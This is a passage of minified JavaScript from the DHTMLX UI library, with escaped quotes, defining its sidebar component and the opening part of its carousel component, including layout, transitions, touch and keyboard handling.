h=parseInt(this.side.firstChild.style.top||0)-g*this.conf.scroll_mult;if(h+this.side.firstChild.offsetHeight<this.side.clientHeight){h=this.side.clientHeight-this.side.firstChild.offsetHeight}if(h>0){h=0}this.side.firstChild.style.top=h+\"px\"};if(typeof(window.addEventListener)==\"function\"){this.side.addEventListener(\"wheel\",this._doOnSideScroll,false)}else{this.side.attachEvent(\"onmousewheel\",this._doOnSideScroll)}this.t={};this.s={};this._adjustCell=function(q,n){if(this.conf.single_cell!=true&&q==null){return}var g=this.conf.width;var l=this.cont.offsetWidth-g;var o=0;var m=this.cont.offsetHeight;if(this.conf.single_cell==true){if(n==true){this.conf.cell._setSize(g,o,l,m)}}else{if(q!=this.conf.selected){o=-5000;this.t[q].cell.cell.style.visibility=\"hidden\";this.t[q].cell.cell.style.zIndex=0}this.t[q].cell._setSize(g,o,l,m)}};var a=window.dhx4.transDetect();this.conf.transProp=a.transProp;this.conf.transEv=a.transEv;this.conf.transValue=\"all 0.1s\";this._doOnTrEnd=function(h){var m=this._idd;if(e.t[m]==null){return}var g=e.t[m];var l=g.conf.transActvId;if(g.conf.transMode==\"hide\"){if(g.conf.remove==true){e._removeItem(m)}else{g.item.style[g.conf.transProp]=\"\";if(e.conf.single_cell!=true){g.cell.cell.style.visibility=\"hidden\";g.cell.cell.style.top=\"-5000px\"}g.conf.transActv=false}}else{if(g.conf.transMode==\"show\"){g.item.style[g.conf.transProp]=\"\";g.item.style.visibility=\"visible\";g.conf.transMode=null;g.conf.transActv=false}}if(l!=null){e._setItemActive(l)}else{e._checkHeight()}g=null};this._initObj=function(g){this.clearAll();if(g.items!=null){this.addItem(g.items)}};this._xmlToObj=function(s){var h=[];var n=s.getElementsByTagName(\"sidebar\");if(n!=null&&n[0]!=null){var l=n[0].getElementsByTagName(\"item\");for(var o=0;o<l.length;o++){var m={};for(var g=0;g<l[o].attributes.length;g++){m[l[o].attributes[g].nodeName]=l[o].attributes[g].nodeValue}h.push(m)}}return{items:h}};dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"sidebar\",{struct:true});this.unload=function(){this.conf.unloading=true;if(typeof(window.addEventListener)==\"function\"){this.side.removeEventListener(\"wheel\",this._doOnSideScroll,false)}else{this.side.detachEvent(\"onmousewheel\",this._doOnSideScroll)}this.clearAll();this.s=this.t=null;if(typeof(window.addEventListener)==\"function\"){this.arw.removeEventListener(this.conf.touch_start,this._doOnArwClick,false);this.arw.removeEventListener(\"click\",this._doOnArwClick,false)}else{this.arw.detachEvent(\"onclick\",this._doOnArwClick)}this.arw.parentNode.removeChild(this.arw);this.arw=null;if(typeof(window.addEventListener)==\"function\"){this.side.removeEventListener(this.conf.touch_start,this._doOnSideClick,false);this.side.removeEventListener(this.conf.touch_end,this._doOnSideClick,false);this.side.removeEventListener(\"click\",this._doOnSideClick,false)}else{this.side.detachEvent(\"onclick\",this._doOnSideClick)}this.side.onmouseover=null;this.side.parentNode.removeChild(this.side);this.side=null;this._unloadTop();if(this.conf.single_cell==true){this.conf.cell._unload();this.conf.cell=null}window.dhx4._eventable(this,\"clear\");window.dhx4._enableDataLoading(this,null,null,null,\"clear\");for(var g in this){this[g]=null}e=null};if(this.conf.single_cell==true){this.conf.cell=new dhtmlXSideBarCell(\"master\",this);this.cont.appendChild(this.conf.cell.cell);this._cells_native=this.cells;this.cells=function(g){this.conf.cell._idd=g;return this.conf.cell}}this.setSizes();if(c.items!=null){this._initObj(c)}else{if(c.json!=null){this.loadStruct(c.json,c.onload)}else{if(c.xml!=null){this.loadStruct(c.xml,c.onload)}}}return this}dhtmlXSideBar.prototype=new dhtmlXCellTop();dhtmlXSideBar.prototype._addItem=function(c){var g=(typeof(c.id)!=\"undefined\"?c.id:window.dhx4.newId());if(c.type==\"separator\"){var e=document.createElement(\"DIV\");e.className=\"dhxsidebar_sep\";this.side.firstChild.appendChild(e);this.s[g]={sep:e};e=null;return}c.icons_path=this.conf.icons_path;var e=document.createElement(\"DIV\");e.className=\"dhxsidebar_item\";e.innerHTML=window.dhx4.template(this.conf.tpl_str,c);e._idd=g;this.side.firstChild.appendChild(e);e.ondragstart=function(){return false};if(this.conf.single_cell==true){var a=this.conf.cell}else{var a=new dhtmlXSideBarCell(g,this);this.cont.appendChild(a.cell)}this.t[g]={item:e,cell:a,init:c,conf:{selected:false,visible:true,close:close}};if(typeof(c.bubble)!=\"undefined\"){this._setItemBubble(g,c.bubble)}a=e=null;if(window.dhx4.s2b(c.selected)==true){this._setItemActive(g)}else{this._adjustCell(g)}this._checkHeight()};dhtmlXSideBar.prototype.addItem=function(a){if(!(a instanceof Array)){a=[a]}for(var c=0;c<a.length;c++){this._addItem(a[c])}};dhtmlXSideBar.prototype.items=dhtmlXSideBar.prototype.cells=function(a){if(this.conf.single_cell==true){return this.conf.cell}if(this.t[a]!=null){return this.t[a].cell}return null};dhtmlXSideBar.prototype.forEachCell=dhtmlXSideBar.prototype.forEachItem=function(e){if(this.conf.single_cell==true){if(typeof(e)==\"function\"){e.apply(window,[this.conf.cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.conf.cell])}}return}for(var c in this.t){if(typeof(e)==\"function\"){e.apply(window,[this.t[c].cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.t[c].cell])}}}};dhtmlXSideBar.prototype.getAllItems=function(){var e=[];for(var c in this.t){e.push(c)}return e};dhtmlXSideBar.prototype.getNumberOfItems=function(){return this.getAllItems().length};dhtmlXSideBar.prototype.clearAll=function(){for(var c in this.t){this._removeItem(c,false,true)}for(var c in this.s){this.removeSep(c)}};dhtmlXSideBar.prototype.setSizes=function(){this._adjustCont();this._adjustSide();this._checkHeight();this._adjustCell(this.conf.selected,true);this.callEvent(\"_onSetSizes\",[])};dhtmlXSideBar.prototype.setSideWidth=function(a){this.conf.width=a;this.setSizes()};dhtmlXSideBar.prototype._adjustSide=function(){if(this.conf.side_ofs==null){this.conf.side_ofs={};this.side.style.width=this.conf.width+\"px\";this.side.style.height=this.cont.offsetHeight+\"px\";this.conf.side_ofs.w=this.side.offsetWidth-parseInt(this.side.style.width);this.conf.side_ofs.h=this.side.offsetHeight-parseInt(this.side.style.height)}this.side.style.width=this.conf.width-this.conf.side_ofs.w+\"px\";this.side.style.height=this.cont.offsetHeight-this.arw.offsetHeight-this.conf.side_ofs.h+\"px\";this.arw.style.width=this.side.style.width;this._scrollSide(0)};dhtmlXSideBar.prototype._checkHeight=function(){var a=(this.arw.className.match(/dhxsidebar_arrows_hidden/)!=null);if(this.conf.side_hfix==null){this.conf.side_hfix=this.side.offsetHeight-this.side.clientHeight}if(this.side.firstChild.offsetHeight>this.cont.clientHeight-this.conf.side_hfix){if(a==true){this.arw.className=\"dhxsidebar_arrows\";this._adjustSide()}}else{if(a==false){this.arw.className=\"dhxsidebar_arrows dhxsidebar_arrows_hidden\";this.side.firstChild.style.top=\"0px\";this._adjustSide()}}};dhtmlXSideBar.prototype.removeSep=function(c){if(this.s[c]==null){return}this.side.firstChild.removeChild(this.s[c].sep);this.s[c].sep=null;this.s[c]=null;try{delete this.s[c]}catch(a){}};dhtmlXSideBar.prototype._setItemActive=function(e,c){if(this.conf.selected==e){return}if(typeof(c)==\"undefined\"){c=false}if(c==true&&this.callEvent(\"onBeforeSelect\",[e,this.conf.selected])!==true){return}var a=null;if(this.conf.selected!=null){a=this.conf.selected;this._setItemInactive(this.conf.selected)}if(this.t[e]!=null){this.conf.selected=e;this.t[e].selected=true;this.t[e].item.className+=\" dhxsidebar_item_selected\";if(this.conf.single_cell!=true){this.t[e].cell.cell.style.visibility=\"visible\";this.t[e].cell.cell.style.top=\"0px\";this.t[e].cell.cell.style.zIndex=1}}else{this.conf.selected=null}this._adjustCell(e);if(c==true){this.callEvent(\"onSelect\",[e,a])}};dhtmlXSideBar.prototype._setItemInactive=function(a){if(this.t[a]==null){return}this.t[a].selected=false;this.t[a].item.className=this.t[a].item.className.replace(/\\s{0,}dhxsidebar_item_selected/gi,\"\");if(this.conf.single_cell!=true){this.t[a].cell.cell.style.visibility=\"hidden\";this.t[a].cell.cell.style.top=\"-5000px\";this.t[a].cell.cell.style.zIndex=0}};dhtmlXSideBar.prototype._isItemActive=function(a){return(this.conf.selected==a)};dhtmlXSideBar.prototype._getNextVisible=function(c,a){return this._getNearVisible(c,a,\"next\")};dhtmlXSideBar.prototype._getPrevVisible=function(c,a){return this._getNearVisible(c,a,\"previous\")};dhtmlXSideBar.prototype._getFirstVisible=function(){return this._getNearVisible(null,false,\"first\")};dhtmlXSideBar.prototype._getNearVisible=function(l,c,h){if(h==\"first\"){var e=this.side.firstChild.firstChild;h=\"next\"}else{if(l==null||this.t[l]==null){return(c?this._getFirstVisible():null)}var e=this.t[l].item[h+\"Sibling\"]}var g=null;while(e!=null&&g==null){var a=e._idd;if(a!=null&&g==null&&this.t[a].conf.visible){g=a}else{e=e[h+\"Sibling\"]}}e=null;return g};dhtmlXSideBar.prototype.goToNextItem=function(a){var c=this._getNextVisible(this.conf.selected,true);if(c!=null){this._setItemActive(c,a)}};dhtmlXSideBar.prototype.goToPrevItem=function(a){var c=this._getPrevVisible(this.conf.selected,true);if(c!=null){this._setItemActive(c,a)}};dhtmlXSideBar.prototype.getActiveItem=function(){return this.conf.selected};dhtmlXSideBar.prototype.setTemplate=function(g,c){this.conf.tpl_name=(g!=null&&this.templates[g]!=null?g:\"details\");this.conf.tpl_str=this.templates[this.conf.tpl_name];if(c!=null){this.conf.icons_path=c}for(var e in this.t){this.t[e].init.icons_path=this.conf.icons_path;this.t[e].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[e].init)}if(this.side!=null){this.side.className=\"dhxsidebar_side dhxsidebar_tpl_\"+this.conf.tpl_name}if(this._scrollSide!=null){this._scrollSide(0);this._checkHeight()}};dhtmlXSideBar.prototype.templates={details:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'><div class='dhxsidebar_item_text'>#text#</div>\",tiles:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'><div class='dhxsidebar_item_text'>#text#</div>\",icons:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'>\",icons_text:\"<div class='dhxsidebar_item_icon'><img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'></div><div class='dhxsidebar_item_text'>#text#</div>\",text:\"<div class='dhxsidebar_item_text'>#text#</div>\"};dhtmlXSideBar.prototype.tpl_bubble=\"<div class='dhxsidebar_bubble'>#value#</div>\";window.dhtmlXSideBarCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_sidebar\"]);this.sidebar=e;this.conf.skin=this.sidebar.conf.skin;this.conf.sidebar_funcs={show:\"_showItem\",hide:\"_hideItem\",isVisible:\"_isItemVisible\",setActive:\"_setItemActive\",isActive:\"_isItemActive\",setText:\"_setItemText\",getText:\"_getItemText\",remove:\"_removeItem\",setBubble:\"_setItemBubble\",getBubble:\"_getItemBubble\",clearBubble:\"_clearItemBubble\"};this._sidebarCall=function(a){return function(){var h=[this._idd];for(var l=0;l<arguments.length;l++){h.push(arguments[l])}return this.sidebar[a].apply(this.sidebar,h)}};for(var c in this.conf.sidebar_funcs){if(typeof(this[c])!=\"function\"){this[c]=this._sidebarCall(this.conf.sidebar_funcs[c])}}this.attachEvent(\"_onCellUnload\",function(){this.sidebar=null;for(var h in this.conf.sidebar_funcs){this[h]=this.conf.sidebar_funcs[h]=null}this.conf.sidebar_funcs=null});this.attachEvent(\"_onContentLoaded\",function(){this.sidebar.callEvent(\"onContentLoaded\",arguments)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"tabbar\"||a==\"layout\"||a==\"acc\"){this._hideBorders()}if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}if((this.conf.skin==\"dhx_web\"||this.conf.skin==\"dhx_terrace\")&&(a==\"menu\"||a==\"toolbar\"||a==\"ribbon\")){if(this.cell.className.match(/dhx_cell_cont_no_top/gi)==null){this.cell.className+=\" dhx_cell_cont_no_top\"}}})};dhtmlXSideBarCell.prototype=new dhtmlXCellObject();dhtmlXSideBar.prototype._setItemText=function(g,e){if(this.t[g]!=null){for(var c in e){this.t[g].init[c]=e[c]}this.t[g].init.icons_path=this.conf.icons_path;this.t[g].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[g].init);if(this.t[g].conf.bubble!=null){this.t[g].item.innerHTML+=window.dhx4.template(this.tpl_bubble,{value:this.t[g].conf.bubble})}}};dhtmlXSideBar.prototype._getItemText=function(g){var e={};if(this.t[g]!=null){for(var c in this.t[g].init){e[c]=this.t[g].init[c]}}return e};dhtmlXSideBar.prototype._removeItem=function(o,n,l){if(this.t[o]==null){return}if(l!=true&&this.t[o].conf.remove!=true){this.t[o].conf.remove=true;this._hideItem(o,n);return}if(typeof(n)==\"undefined\"){n=true}var g=this._getNextVisible(o);var h=this._getPrevVisible(o);if(this.t[o].conf.transEv==true){this.t[o].item.removeEventListener(this.conf.transEv,this._doOnTrEnd);this.t[o].conf.transEv=false}if(this.conf.single_cell!=true){this.t[o].cell._unload();this.t[o].cell=null}this.t[o].item.parentNode.removeChild(this.t[o].item);this.t[o].item=null;for(var c in this.t[o]){this.t[o][c]=null}this.t[o]=null;try{delete this.t[o]}catch(m){}if(this.conf.selected==o&&n!=false){this.conf.selected=null;var n=(n==true?(g||h||this._getFirstVisible()):n);if(n!=null){this._setItemActive(n)}}else{if(l!=true){this._checkHeight()}}};dhtmlXSideBar.prototype._showItem=function(c,a){if(this.t[c]==null||this.t[c].conf.visible==true||this.t[c].conf.transActv==true){return}if(this.conf.transProp!==false){this.t[c].conf.transActv=true;this.t[c].conf.transMode=\"show\";this.t[c].conf.transProp=this.conf.transProp;this.t[c].conf.transActvId=(a?c:null);if(this.t[c].conf.transEv!=true){this.t[c].item.addEventListener(this.conf.transEv,this._doOnTrEnd);this.t[c].conf.transEv=true}this.t[c].conf.visible=true;this.t[c].item.style[this.conf.transProp]=this.conf.transValue;this.t[c].item.className=\"dhxsidebar_item\"}else{this.t[c].conf.visible=true;this.t[c].item.style.display=\"\";if(a==true){this._setItemActive(c)}else{this._checkHeight()}}};dhtmlXSideBar.prototype._hideItem=function(h,g){if(this.t[h]==null||this.t[h].conf.visible!=true||this.t[h].conf.transActv==true){return}var e=false;if(this.conf.selected==h){this.conf.selected=null;this.t[h].conf.active=false;this.t[h].item.className=\"dhxsidebar_item\";e=true}var c=this._getPrevVisible(h);var a=this._getNextVisible(h);var g=(e&&g!==false?(g==true?null:g)||a||c:null);if(this.conf.transProp!==false){this.t[h].conf.transActv=true;this.t[h].conf.transMode=\"hide\";this.t[h].conf.transProp=this.conf.transProp;this.t[h].conf.transActvId=g;this.t[h].conf.visible=false;if(this.t[h].conf.transEv!=true){this.t[h].item.addEventListener(this.conf.transEv,this._doOnTrEnd);this.t[h].conf.transEv=true}this.t[h].item.style[this.conf.transProp]=this.conf.transValue;this.t[h].item.className=\"dhxsidebar_item dhxsidebar_item_hidden\"}else{this.t[h].item.style.display=\"none\";this.t[h].conf.visible=false;if(this.conf.single_cell!=true){this.t[h].cell.cell.style.visibility=\"hidden\";this.t[h].cell.cell.style.top=\"-5000px\"}if(g!=null){this._setItemActive(g)}this._checkHeight();if(this.t[h].conf.remove==true){this._removeItem(h)}}};dhtmlXSideBar.prototype._isItemVisible=function(a){return(this.t[a].conf.visible==true)};dhtmlXSideBar.prototype._setItemBubble=function(c,a){if(this.t[c]==null){return}this.t[c].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[c].init)+window.dhx4.template(this.tpl_bubble,{value:String(a)});this.t[c].conf.bubble=a};dhtmlXSideBar.prototype._getItemBubble=function(a){if(this.t[a]==null){return null}return(typeof(this.t[a].conf.bubble)==\"undefuned\"?null:this.t[a].conf.bubble)};dhtmlXSideBar.prototype._clearItemBubble=function(a){if(this.t[a]==null){return}this.t[a].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[a].init);this.t[a].conf.bubble=null};dhtmlXCellObject.prototype.attachSidebar=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"sidebar\"]);if(a==null){a={}}var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof window.dhtmlXWindowsCell)){}else{if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}if(this.conf.skin==\"dhx_web\"){if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:8}}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&(this instanceof window.dhtmlXLayoutCell)){c._ofs={t:2}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){c._ofs={t:8}}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:2}}}if(this.conf.skin==\"dhx_terrace\"){if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:-1}}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&(this instanceof window.dhtmlXLayoutCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1,r:-1,b:-1,l:-1}}}}this._attachObject(c);a.skin=this.conf.skin;a.parent=c;this.dataType=\"sidebar\";this.dataObj=new dhtmlXSideBar(a);a.parent=c=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXCarousel(g,l,n){if(typeof(g)==\"string\"||(typeof(g)==\"object\"&&typeof(g.tagName)!=\"undefined\")){g={parent:(typeof(g)==\"string\"?document.getElementById(g):g),effect:l,skin:n,delete_conf:true}}else{if(typeof(g)==\"undefined\"||g==null){g={}}}this.conf={skin:(g.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcarousel\")||\"dhx_skyblue\"),css:\"dhxcarousel\",items_count:0,selected:-1,item_width:Number(g.item_width)||\"auto\",item_height:Number(g.item_height)||\"auto\",ofs_item:Number(g.offset_item)||1,ofs_left:Number(g.offset_left)||0,ofs_top:Number(g.offset_top)||0,buttons:(typeof(g.buttons)==\"undefined\"?true:window.dhx4.s2b(g.buttons)),drops:false,keys:(typeof(g.keys)==\"undefined\"?true:window.dhx4.s2b(g.keys)),key_data:{left:37,right:39},arw:[\"&#9668;\",\"&#9658;\"]};this.conf.autowidth=(this.conf.item_width==\"auto\");this.conf.autoheight=(this.conf.item_height==\"auto\");var e=window.dhx4.transDetect();this.conf.transProp=e.transProp;this.conf.transEv=e.transEv;this.conf.anim_type=(g.effect||\"slide\");if(this.ef[this.conf.anim_type]==true){var h=this[\"_\"+this.conf.anim_type+\"_init\"]();if(h===false){this.conf.anim_type=\"slide\";h=this[\"_\"+this.conf.anim_type+\"_init\"]()}if(typeof(h)==\"object\"){for(var c in h){if(typeof(this.conf[c])==\"undefined\"){this.conf[c]=h[c]}}}}this.conf.anim_f=this[\"_\"+this.conf.anim_type+\"_f\"]();var m=this;window.dhtmlXCellTop.apply(this,[g.parent,g.offsets]);this.area=document.createElement(\"DIV\");this.area.className=\"dhxcarousel_area\";this.cont.appendChild(this.area);if(typeof(window.addEventListener)==\"function\"){this._doOnTouchStart=function(a){if(window.dhx4.dnd._mTouch(a)==true){return}if(m.conf.animating==true){return}if(a.preventDefault){a.preventDefault()}m.area.className+=\" dhxcarousel_area_dnd\";m.conf.touch_conf={t:new Date().getTime(),dx:null,dy:null};if(a.type.match(/^touch/)!=null){m.conf.touch_conf.id=a.touches[0].identifier;m.conf.touch_conf.x=a.touches[0].clientX;m.conf.touch_conf.y=a.touches[0].clientY}else{m.area.style.touchAction=m.area.style.msTouchAction=\"none\";m.conf.touch_conf.x=a.clientX;m.conf.touch_conf.y=a.clientY}window.addEventListener(window.dhx4.dnd.evs.move,m._doOnTouchMove,false);window.addEventListener(window.dhx4.dnd.evs.end,m._doOnTouchEnd,false)};this._doOnTouchMove=function(a){};this._doOnTouchEnd=function(s){if(s.type.match(/^touch/)!=null){var o=0;for(var r=0;r<s.changedTouches.length;r++){if(s.changedTouches[r].identifier==m.conf.touch_conf.id){o=m.conf.touch_conf.x-s.changedTouches[r].clientX}}}else{var o=m.conf.touch_conf.x-s.clientX}window.removeEventListener(window.dhx4.dnd.evs.move,m._doOnTouchMove,false);window.removeEventListener(window.dhx4.dnd.evs.end,m._doOnTouchEnd,false);m.area.className=m.area.className.replace(/\\s*dhxcarousel_area_dnd$/,\"\");if(o==0||new Date().getTime()-m.conf.touch_conf.t>400){return}var a=o/Math.abs(o);m._animateStart(a)};this.area.addEventListener(window.dhx4.dnd.evs.start,this._doOnTouchStart,false)}this.cdata={};this.ind={};this.addCell=function(s,r){this.conf.items_count++;if(this.conf.selected==-1){this.conf.selected=0}this.setSizes();this._checkControls();if(typeof(r)==\"undefined\"||r==null){r=this.conf.items_count-1}else{if(r<0){r=0}else{if(r>this.conf.items_count-1){r=this.conf.items_count-1}}}for(var q in this.cdata){if(this.cdata[q].index>=r){this.cdata[q].index++;this.ind[this.cdata[q].index]=q;this._adjustCell(q)}}if(s==null){s=String(window.dhx4.newId())}while(this.cdata[s]!=null){s=String(window.dhx4.newId())}var o=new dhtmlXCarouselCell(s,this);if(this.area.childNodes[r]!=null){this.area.insertBefore(o.cell,this.area.childNodes[r])}else{this.area.appendChild(o.cell)}this.cdata[s]={index:r,cell:o};this.ind[r]=s;this._adjustCell(s);this._addBar();this._setBarIndex(this.conf.selected);o=null;this[this.conf.anim_f.cell_added](s);return s};this._removeCell=function(u){var r=this.cdata[u].index;this.cdata[u].cell._unload();this.cdata[u].index=this.cdata[u].cell=null;this.cdata[u]=null;delete this.cdata[u];delete this.ind[r];this.conf.items_count--;if(this.conf.unloading==true){return}this.ind={};var o=0;for(var q in this.cdata){if(this.cdata[q].index>r){this.cdata[q].index--}this.ind[this.cdata[q].index]=q}var s=false;if(this.conf.selected>r){this.conf.selected--}else{if(this.conf.selected==r){this.conf.selected=Math.min(this.conf.selected,this.conf.items_count-1);s=true}else{}}this._removeBar(false);this._setBarIndex(this.conf.selected);if(s==true){if(this.conf.selected>=0){this[this.conf.anim_f.update_selected](this.ind[this.conf.selected])}}this.setSizes();this._checkControls()};this.setSizes=function(){this._adjustCont();var u={};this.area.style.height=this.cont.offsetHeight-this.controls.offsetHeight+\"px\";this.conf.width=(this.conf.autowidth?this.cont.offsetWidth-this.conf.ofs_left*2:this.conf.item_width);this.conf.height=(this.conf.autoheight?this.area.offsetHeight-this.conf.ofs_top*2:this.conf.item_height);this.conf.top=Math.max(0,(this.conf.autoheight?this.conf.ofs_top:Math.floor((this.area.offsetHeight-this.conf.height)/2)));this.area.style.width=this[this.conf.anim_f.detect_aw]()*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item+\"px\";this.area.style.left=Math.round(this.cont.offsetWidth/2-this.conf.width/2-this.conf.ofs_item)+\"px\";for(var q in this.cdata){var r={};for(var o in this.cdata[q].cell.conf.size){r[o]=this.cdata[q].cell.conf.size[o]}if(this.conf.autowidth==true){r.w=this.conf.width;r.x=this[this.conf.anim_f.detect_x](q)}if(this.conf.autoheight==true){r.h=this.conf.height}u[q]=r}this.area.style.left=Math.round(this.cont.offsetWidth/2-this.conf.width/2-this.conf.ofs_item)-(this.conf.width+this.conf.ofs_item)*this.conf.selected+\"px\";this._adjustControls();if(this.conf.autoheight!=true){this.conf.top=Math.max(0,Math.floor(this.area.offsetHeight-this.conf.height)/2);for(var q in u){u[q].y=this.conf.top}}for(var q in u){this.cdata[q].cell._setSize(u[q].x,u[q].y,u[q].w,u[q].h)}this.callEvent(\"_onSetSizes\",[])};this._adjustCell=function(a){this.cdata[a].cell._setSize(this[this.conf.anim_f.detect_x](a),this.conf.top,this.conf.width,this.conf.height)};this._animateStart=function(o,a){if((this.conf.selected<=0&&o<0)||(this.conf.selected>=this.conf.items_count-1&&o>0)){return}if(this.conf.animating==true){return}this.conf.animating=true;this[this.conf.anim_f.prepare](o,a)};this._animateTransEnd=function(a){m[m.conf.anim_f.end](a||event,this)};this._animateEnd=function(a){this.conf.selected=this.conf.selected+a;this._checkControls();this._setBarIndex(this.conf.selected);this.callEvent(\"onSelect\",[this.ind[this.conf.selected]]);this.conf.animating=false};this._initControls();this.setCellSize=function(a,o){this.conf.item_width=(a==null?\"auto\":a);this.conf.item_height=(o==null?\"auto\":o);this.setSizes()};this.setOffset=function(q,o,a){if(q!=null){this.conf.ofs_left=q}if(o!=null){this.conf.ofs_top=o}if(a!=null){this.conf.ofs_item=a}this.setSizes()};this.enableHotKeys=function(a){this.conf.keys=window.dhx4.s2b(a)};this.goFirst=function(){if(this.conf.selected==0){return}this._animateStart(-this.conf.selected)};this.goLast=function(){if(this.conf.selected==this.conf.items_count-1){return}this._animateStart(this.conf.items_count-1-this.conf.selected)};this.goNext=function(){this._animateStart(1)};this.goPrev=function(){this._animateStart(-1)};this.getActiveIndex=function(){return this.conf.selected};this.getActiveId=function(){return this.ind[this.conf.selected]};this.getActiveCell=function(){var a=this.getActiveId();if(a!=null){return this.cdata[a].cell}return null};this.unload=function(){this.conf.unloading=true;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"keydown\",this._doOnWinKeyDown,false);this.area.removeEventListener(window.dhx4.dnd.evs.start,this._doOnTouchStart,false)}else{document.body.detachEvent(\"onkeydown\",this._doOnWinKeyDown)}for(var o in this.cdata){this._removeCell(o)}this.cdata[o]=null;this.area.parentNode.removeChild(this.area);this.area=null;this._unloadControls();this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var o in this){this[o]=null}m=null};window.dhx4._eventable(this);this._callMainEvent=function(o,a){this.callEvent(o,a)};this.conf.ev_coverclick=this.attachEvent(\"_cellCoverClick\",function(a){var o=a-this.conf.selected;if(Math.abs(o)==1){this._animateStart(o)}});this._doOnWinKeyDown=function(q){q=q||event;if(m.conf.keys==true){if(q.ctrlKey==true&&q.shiftKey!=true&&q.altKey!=true){var o=q.keyCode;var a=m.conf.key_data;if(o==a.left||o==a.right){if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}m._animateStart(o==a.left?-1:1)}}}};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"keydown\",this._doOnWinKeyDown,false)}else{document.body.attachEvent(\"onkeydown\",this._doOnWinKeyDown)}if(g.delete_conf==true){for(var c in g){g[c]=null}g=null}return this}dhtmlXCarousel.prototype=new dhtmlXCellTop();dhtmlXCarousel.prototype.ef={};dhtmlXCarousel.prototype.cells=function(a){return this.cdata[a].cell};dhtmlXCarousel.prototype.forEachCell=function(e){for(var c in this.cdata){if(typeof(e)==\"function\"){e.apply(window,[this.cdata[c].cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.cdata[c].cell])}}}};dhtmlXCarousel.prototype._initControls=function(){var a=this;this.controls=document.createElement(\"DIV\");this.controls.className=\"dhx_carousel_controls\";this.controls.innerHTML=\"<div class='dhx_carousel_bars'></div><div class='dhx_carousel_btn dhx_carousel_btn_prev'>\"+this.conf.arw[0]+\"</div><div class='dhx_carousel_btn dhx_carousel_btn_next'>\"+this.conf.arw[1]+\"</div>\";this.cont.appendChild(this.controls);this._doOnControlClick=function(l){if(a.conf.clear_click==true){a.conf.clear_click=false;return}l=l||event;if(window.dhx4.dnd.evs.start!=null&&l.type!=\"click\"&&a.conf.clear_click!=true){if(window.dhx4.dnd._mTouch(l)==true){return}a.conf.clear_click=true}var c=l.target||l.srcElement;var h=null;if(c.className!=null){if(c.className.match(/btn_prev/)!=null){h=-1}else{if(c.className.match(/btn_next/)!=null){h=1}else{if(c.className.match(/dhx_carousel_onebar/)!=null&&c.className.match(/dhx_carousel_baractv/)==null){for(var g=0;g<c.parentNode.childNodes.length;g++){if(c.parentNode.childNodes[g]==c){h=g-a.conf.selected}}}}}}if(h!=null){a._animateStart(h)}c=null};if(typeof(window.addEventListener)==\"function\"){this.controls.addEventListener(\"click\",this._doOnControlClick,false);if(window.dhx4.dnd.evs.start!=null){this.controls.addEventListener(window.dhx4.dnd.evs.start,this._doOnControlClick,false)}}else{this.controls.attachEvent(\"onclick\",this._doOnControlClick);if(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8){this.controls.onselectstart=function(c){c=c||event;if(c.preventDefault){c.preventDefault()}c.returnValue=false;return false}}}this.showControls=function(){this.controls.style.display=\"\";this.setSizes()};this.hideControls=function(){this.controls.style.display=\"none\";this.setSizes()};this._checkControls=function(){this.controls.childNodes[1].className=\"dhx_carousel_btn dhx_carousel_btn_prev\"+(this.conf.selected<=0?\"_dis\":\"\");this.controls.childNodes[2].className=\"dhx_carousel_btn dhx_carousel_btn_next\"+(this.conf.selected>=this.conf.items_count-1||this.conf.items_count==0?\"_dis\":\"\")};this._adjustControls=function(){this.controls.firstChild.style.left=Math.round(this.cont.offsetWidth/2-this.controls.firstChild.offsetWidth/2)+\"px\"};this._addBar=function(){var c=document.createElement(\"DIV\");c.className=\"dhx_carousel_onebar\";c.innerHTML=\"<div class='dhx_carousel_barcore'>&nbsp;</div>\";this.controls.firstChild.appendChild(c);c=null;this._adjustControls()};this._removeBar=function(e){var 